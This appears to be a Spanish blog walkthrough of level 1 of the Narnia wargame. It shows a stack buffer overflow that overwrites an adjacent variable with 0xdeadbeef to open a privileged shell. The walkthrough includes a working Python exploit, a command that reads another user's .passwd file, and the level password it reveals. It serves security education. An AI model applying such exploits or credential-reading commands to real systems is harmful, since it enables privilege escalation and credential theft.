Wargames: Narnia – Level1
Bien, una vez conectados al Wargame Narnia, nivel 1, en el directorio /wargame encontramos, entre otros:
-r–r—– 1 root level1 1.3K 2008-04-17 21:31 level1.c
Probemos:
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: abcd
buf: abcd
val: 0×41414141
WAY OFF!!!!
level1@narnia:/wargame$
El código de level1.c:
#include <stdlib.h>
int main(){
long val=0×41414141;
char buf[20];
printf(“Correct val’s value from 0×41414141 -> 0xdeadbeef!\n”);
printf(“Here is your chance: “);
scanf(“%24s”,&buf);
printf(“buf: %s\n”,buf);
printf(“val: 0x%08x\n”,val);
if(val==0xdeadbeef){
seteuid(1002);
system(“/bin/sh”);
} else {
printf(“WAY OFF!!!!\n”);
exit(1);
}
return 0;
}
Vemos que nos indican que val debe ser 0xdeadbeef, nos permiten escribir algo en buf mediante scanf(), nos muestran los valores de buf y val y finalmente comprueban el valor de val. De ser 0xdeadbeef, nos suben el UID efectivo a 1002 y arranca una shell. En caso contrario nos da un mensaje de error.
Pero yendo un poco más allá, ahí se ven dos variables: buf y val.
El compilador reserva espacio en la pila para val (4 bytes por ser un long) y justo a continuación, reserva 20 bytes para buf. De esta manera buf[0] se refiere al byte de memoria más alejado de val, buf[19] al más cercano. ¿Y buf[20]? al primer byte de los 4 de val. La arquitectura es little-endian, por lo que ese primer byte es el byte de menor peso de val. buf[21, 22 y 23] apuntarían a los siguiente bytes, siendo buf[23] el de mayor peso.
Esto leerá hasta 24 caracteres de la entrada estándar y los almacenará a partir de buf: el primero en buf[0], el segundo en buf[1], etc. hasta el 20º, en buf[19]:
¿Y si se introducen más de 20? Pues el 21º en buf[20], que es el byte de menos peso de val. El 22º, 23º y 24º irán escribiéndose en buf[21, 22 y 23], que son las restantes posiciones que ocupa val, sobreescribiendo el valor actual de la variable.
Ahora que ya sabemos cómo sobreescribir val, la cuestión es cómo introducir el valor 0xdeadbeef. De ese valor, el byte menos pesado es 0xef, luego viene 0xbe, 0xad y 0xde. En ese mismo orden irían en buf[20, 21, 22 y 23].
Si respondemos al scanf() con 20 bytes de relleno y a continuación 0xef, 0xbe, 0xad y 0xde, podremos colocar el valor adecuado para que nos abran una shell en el nivel 2.
Por ejemplo:
………………..ᆳ
$
Redirigiendo al programa vulnerable:
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: buf: ………………..ᆳ
val: 0xdeadbeef
level1@narnia:/wargame$
Aquí ya no nos dice WAY OFF!!!!, así que parece que ha funcionado. Sin embargo, no hay shell.
En realidad, sí se ha abierto una shell, pero su entrada estándar estaba conectada a la stdout del intérprete de python. En el momento en que el intérprete de python terminó, se rompió el pipe, se cerró la stdin de la nueva shell y eso finalizó la shell.
Lo que vamos a hacer ahora es un poco de python que escriba el valor de buf para que nos abran la shell, esperar un poco para asegurarnos de que esté abierta y luego escribirle un comando para que lo ejecute:
from sys import stdout
s=’.'*20+’\xef\xbe\xad\xde’
print s
stdout.flush() #Asegurarse de que se ha imprimido s, para que scanf lo procese.
sleep(0.1) #Con 0.1s. probablemente sea suficiente para que se haya abierto la shell
print ‘cat /home/level2/.passwd’ #Esto llegará a la stdin de la shell y se ejecutará
Probemos:
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: buf: ………………..ᆳ
val: 0xdeadbeef
iSwvy1TF
level1@narnia:/wargame$
¡¡Es un bingooo!! ahí está la contraseña para el siguiente nivel.







